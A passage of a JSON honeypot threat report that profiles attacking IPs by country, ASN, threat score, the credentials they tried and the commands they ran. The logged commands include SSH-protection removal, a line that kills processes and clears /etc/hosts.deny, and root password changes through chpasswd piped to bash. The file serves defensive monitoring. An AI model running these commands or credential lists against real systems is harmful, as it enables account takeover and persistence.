        "bert123",
        "builder"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\n08BPWcjw5IPz\\n08BPWcjw5IPz\\n\"|passwd",
        "echo \"P@ssw0rd35\\nmPPrC4A1ck2F\\nmPPrC4A1ck2F\\n\"|passwd",
        "echo \"bert123\\nDQAfY17x9riR\\nDQAfY17x9riR\\n\"|passwd",
        "echo \"root:1GNGuUs0Aem9\"|chpasswd|bash",
        "echo \"root:2l4OGOMAB9xa\"|chpasswd|bash",
        "echo -e \"123\\n08BPWcjw5IPz\\n08BPWcjw5IPz\"|passwd|bash",
        "echo -e \"P@ssw0rd35\\nmPPrC4A1ck2F\\nmPPrC4A1ck2F\"|passwd|bash",
        "echo -e \"bert123\\nDQAfY17x9riR\\nDQAfY17x9riR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 601,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T12:52:55.822000+00:00",
        "last_seen_30d": "2026-03-25T14:04:37.070000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 498,
        "Suricata": 103
      }
    },
    "207.154.227.150": {
      "attack_count": 494,
      "first_seen": "2026-03-05T09:50:47.691Z",
      "last_seen": "2026-03-22T01:57:21.119Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "family",
        "max",
        "postgres",
        "testuser",
        "eder",
        "esuser",
        "john",
        "m1",
        "manel",
        "mob",
        "mongod",
        "odin",
        "player",
        "purple",
        "qwerty",
        "rose",
        "saeed",
        "vincent"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "password",
        "1",
        "Aa@1234567",
        "Admin!@#123",
        "Asd123asd",
        "Eder123",
        "Format#123",
        "M1123",
        "Maomao",
        "P@Ssw0rd_12345",
        "PASSWORD",
        "Rose123!",
        "abcd@!@#$",
        "garfield",
        "john"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nmlhWhM9bMUej\\nmlhWhM9bMUej\\n\"|passwd",
        "echo \"1\\n7JkH0hPxRA0y\\n7JkH0hPxRA0y\\n\"|passwd",
        "echo \"postgres123\\nlLuPxPUMGSTf\\nlLuPxPUMGSTf\\n\"|passwd",
        "echo \"root:D7EKQcUd6laS\"|chpasswd|bash",
        "echo \"testpass\\n3zCkP4E1GMt0\\n3zCkP4E1GMt0\\n\"|passwd",
        "echo -e \"123456\\nmlhWhM9bMUej\\nmlhWhM9bMUej\"|passwd|bash",
        "echo -e \"1\\n7JkH0hPxRA0y\\n7JkH0hPxRA0y\"|passwd|bash",
        "echo -e \"postgres123\\nlLuPxPUMGSTf\\nlLuPxPUMGSTf\"|passwd|bash",
        "echo -e \"testpass\\n3zCkP4E1GMt0\\n3zCkP4E1GMt0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 38.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:50:47.691000+00:00",
        "last_seen_30d": "2026-03-22T01:58:26.652000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 91
      }
    },
    "187.210.77.100": {
      "attack_count": 398,
      "first_seen": "2026-03-02T05:29:19.363Z",
      "last_seen": "2026-03-21T14:31:45.296Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sales1",
        "amine",
        "cat",
        "cheng",
        "consultor",
        "dante",
        "demo1",
        "eversec",
        "k",
        "olivier",
        "rahul",
        "simon",
        "ubuntu",
        "vps"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "121314",
        "12345678",
        "Admin123$",
        "Aq123456",
        "KcP1e@%B#zRp3X8",
        "Mm12345",
        "Sales1123",
        "aA12345678",
        "amine123",
        "asdf1234",
        "avalon",
        "cat123",
        "chengpassword",
        "demo1",
        "linux",
        "olivier@123",
        "q1w2e3r4!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Sales1123\\nZaoKICjubLtU\\nZaoKICjubLtU\\n\"|passwd",
        "echo \"root:7hWr7nQqLf1E\"|chpasswd|bash",
        "echo \"root:ENEfNd1pbgPu\"|chpasswd|bash",
        "echo \"root:GhJ7UydQxZG9\"|chpasswd|bash",
        "echo -e \"Sales1123\\nZaoKICjubLtU\\nZaoKICjubLtU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Xalapa",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:29:19.363000+00:00",
        "last_seen_30d": "2026-03-21T14:32:53.076000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 80
      }
    },
    "147.45.45.37": {
      "attack_count": 372,
      "first_seen": "2026-03-26T18:58:08.140Z",
      "last_seen": "2026-03-26T20:35:03.659Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "202426",
        "786786",
        "A100s200",
        "Aa123",
        "Azure12345678",
        "Bismillah@123",
        "Bus365",
        "P@55w0rd@321",
        "User2024",
        "Web2026",
        "Wx123456",
        "dlgwbn",
        "lijing",
        "mango",
        "passwork",
        "pepsi123",
        "t123445",
        "toor1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NddSN1OVhUFF\"|chpasswd|bash",
        "echo \"root:Oq2Cd9Ma4MTc\"|chpasswd|bash",
        "echo \"root:WmVISpdxJhqR\"|chpasswd|bash",
        "echo \"root:mhG5dIWEQhUe\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 205775,
      "as_org": "Neon Core Network LLC",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:58:08.140000+00:00",
        "last_seen_30d": "2026-03-26T20:36:06.864000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 67
      }
    },
    "128.1.132.137": {
      "attack_count": 356,
      "first_seen": "2026-03-11T04:02:06.635Z",
      "last_seen": "2026-03-25T22:41:29.020Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "client1",
        "tang",
        "whale",
        "coder",
        "conftest",
        "dapeng",
        "eadmin",
        "ftpsecure",
        "jira",
        "knex",
        "root",
        "sd",
        "sky",
        "test_user",
        "zjm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111",
        "123",
        "12345",
        "123456",
        "Eadmin123",
        "Sky123!",
        "client11234",
        "coder1234",
        "dapeng1234",
        "knex123",
        "qwe123456.",
        "tang",
        "test_userpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"111111\\n0njB762ibXEn\\n0njB762ibXEn\\n\"|passwd",
        "echo \"123\\nVBtZ0uEKzuB5\\nVBtZ0uEKzuB5\\n\"|passwd",
        "echo \"client11234\\nVev0HrYiC5be\\nVev0HrYiC5be\\n\"|passwd",
        "echo \"tang\\ndTLS2mvpateX\\ndTLS2mvpateX\\n\"|passwd",
        "echo -e \"111111\\n0njB762ibXEn\\n0njB762ibXEn\"|passwd|bash",
        "echo -e \"123\\nVBtZ0uEKzuB5\\nVBtZ0uEKzuB5\"|passwd|bash",
        "echo -e \"client11234\\nVev0HrYiC5be\\nVev0HrYiC5be\"|passwd|bash",
        "echo -e \"tang\\ndTLS2mvpateX\\ndTLS2mvpateX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 411,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:02:06.635000+00:00",
        "last_seen_30d": "2026-03-25T22:42:37.624000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 356,
        "Suricata": 55
      }
    },
    "103.144.2.208": {
      "attack_count": 353,
      "first_seen": "2026-03-18T04:39:25.085Z",
      "last_seen": "2026-03-31T07:36:34.284Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "common",
        "crawl",
        "elearn",
        "jessica",
        "userdeploy",
        "webuser"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1234",
        "3245gs5662d34",
        "123",
        "12345678",
        "123456jkl",
        "1234@Abc",
        "Asdf@1234",
        "Common123!",
        "QWEasd@123",
        "Qwer123.",
        "admin!234",
        "admin$123",
        "aqwzsxedc",
        "faceb00k",
        "joyjoy",
        "merdinha",
        "password",
        "password007",
        "r3g1st3r"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nnhHpRxvfamjk\\nnhHpRxvfamjk\\n\"|passwd",
        "echo \"root:DTAYpCrLSUio\"|chpasswd|bash",
        "echo \"root:nfOlpXrUUy1H\"|chpasswd|bash",
        "echo \"root:x8OHyjXlDmzj\"|chpasswd|bash",
        "echo -e \"1234\\nnhHpRxvfamjk\\nnhHpRxvfamjk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 414,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:39:25.085000+00:00",
        "last_seen_30d": "2026-03-31T07:37:43.336000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 353,
        "Suricata": 61
      }
    },
    "36.91.166.34": {
      "attack_count": 331,
      "first_seen": "2026-03-11T10:10:57.027Z",
      "last_seen": "2026-03-11T10:41:11.048Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "7days",
        "jirka",
        "km",
        "n8n",
        "sammy",
        "teamspeak",
        "user02",
        "vas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "2025",
        "Aa123456!@#",
        "Km123",
        "Sammy123!",
        "User02123!",
        "Vas123!",
        "jirka",
        "lala123",
        "n8n",
        "teamspeak123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nmRs54bf8DYaK\\nmRs54bf8DYaK\\n\"|passwd",
        "echo \"Km123\\nUx5SFevxSbf3\\nUx5SFevxSbf3\\n\"|passwd",
        "echo \"jirka\\nH6GgZwGhkDeb\\nH6GgZwGhkDeb\\n\"|passwd",
        "echo \"n8n\\n6LDOwVVZigWv\\n6LDOwVVZigWv\\n\"|passwd",
        "echo -e \"123\\nmRs54bf8DYaK\\nmRs54bf8DYaK\"|passwd|bash",
        "echo -e \"Km123\\nUx5SFevxSbf3\\nUx5SFevxSbf3\"|passwd|bash",
        "echo -e \"jirka\\nH6GgZwGhkDeb\\nH6GgZwGhkDeb\"|passwd|bash",
        "echo -e \"n8n\\n6LDOwVVZigWv\\n6LDOwVVZigWv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:10:57.027000+00:00",
        "last_seen_30d": "2026-03-11T10:42:11.609000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 44
      }
    },
    "107.170.168.220": {
      "attack_count": 318,
      "first_seen": "2026-03-09T16:30:13.747Z",
      "last_seen": "2026-03-09T17:30:37.448Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "root",
        "oracle",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "mysql",
        "nagios",
        "server",
        "test",
        "testuser",
        "user",
        "vps",
        "weblogic"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "test",
        "111111",
        "123456",
        "654321",
        "pass",
        "password",
        "qwerty",
        "123321",
        "1234qwer",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "321123",
        "P@ssw0rd",
        "apache",
        "deploy",
        "git",
        "guest"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 453,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:30:13.747000+00:00",
        "last_seen_30d": "2026-03-09T17:31:43.208000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 318,
        "Suricata": 135
      }
    },
    "182.253.156.184": {
      "attack_count": 312,
      "first_seen": "2026-03-13T09:09:28.642Z",
      "last_seen": "2026-03-20T11:55:14.929Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "ivan",
        "new",
        "root",
        "alice",
        "ansible",
        "arkserver",
        "emma",
        "hath",
        "hl",
        "issabel",
        "ll",
        "lorenzo",
        "pulsar",
        "rodrigo",
        "ruben",
        "sammy",
        "sunshine",
        "yujie"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123123",
        "12345",
        "31415926",
        "Yujie123",
        "ansiblepass",
        "arkserver123!",
        "hath123",
        "lorenzo123",
        "password",
        "q1w2e3r4",
        "rodrigo123",
        "ruben1234",
        "sammy",
        "sunshine123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nRDP4oSUHyudv\\nRDP4oSUHyudv\\n\"|passwd",
        "echo \"123\\nTP7IfzF7jUNT\\nTP7IfzF7jUNT\\n\"|passwd",
        "echo \"password\\n2wfmk5BTG5VB\\n2wfmk5BTG5VB\\n\"|passwd",
        "echo -e \"123\\nRDP4oSUHyudv\\nRDP4oSUHyudv\"|passwd|bash",
        "echo -e \"123\\nTP7IfzF7jUNT\\nTP7IfzF7jUNT\"|passwd|bash",
        "echo -e \"password\\n2wfmk5BTG5VB\\n2wfmk5BTG5VB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T09:09:28.642000+00:00",
        "last_seen_30d": "2026-03-20T11:56:15.899000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 62
      }
    },
    "102.88.137.213": {
      "attack_count": 307,
      "first_seen": "2026-03-05T09:44:29.653Z",
      "last_seen": "2026-03-15T21:41:35.208Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "root",
        "ruslan",
        "central",
        "client1",
        "mailuser",
        "nominatim",
        "orders",
        "prashant",
        "test",
        "tmp",
        "wialon"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "123456aa@",
        "@a123456",
        "AA!2026",
        "Admin2025",
        "China@1234",
        "P@ssw0rd35",
        "Prashant123!",
        "Qwerty!@#",
        "aA.123456",
        "aa.123456789",
        "mailuserpass",
        "p@ssw0rd",
        "password",
        "tmp1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nikHvjw5ZTFuR\\nikHvjw5ZTFuR\\n\"|passwd",
        "echo \"@a123456\\nLpZedgzdS40n\\nLpZedgzdS40n\\n\"|passwd",
        "echo \"Admin2025\\nKv3TsLd4j0z4\\nKv3TsLd4j0z4\\n\"|passwd",
        "echo -e \"123456\\nikHvjw5ZTFuR\\nikHvjw5ZTFuR\"|passwd|bash",
        "echo -e \"@a123456\\nLpZedgzdS40n\\nLpZedgzdS40n\"|passwd|bash",
        "echo -e \"Admin2025\\nKv3TsLd4j0z4\\nKv3TsLd4j0z4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:44:29.653000+00:00",
        "last_seen_30d": "2026-03-15T21:42:37.501000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 63
      }
    },
    "167.99.93.68": {
      "attack_count": 297,
      "first_seen": "2026-03-07T00:24:50.787Z",
      "last_seen": "2026-03-12T19:47:01.484Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "allen",
        "old",
        "opc",
        "bryan",
        "centos7",
        "claude",
        "den",
        "jason",
        "khalil",
        "lorenzo",
        "mukul",
        "nikhil",
        "project",
        "xbmc",
        "zhangliang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "@qwer2024",
        "@qwer2025",
        "Allen123",
        "Mukul123!",
        "Nikhil123",
        "Xbmc123!",
        "Zhangliang123!",
        "adminuser",
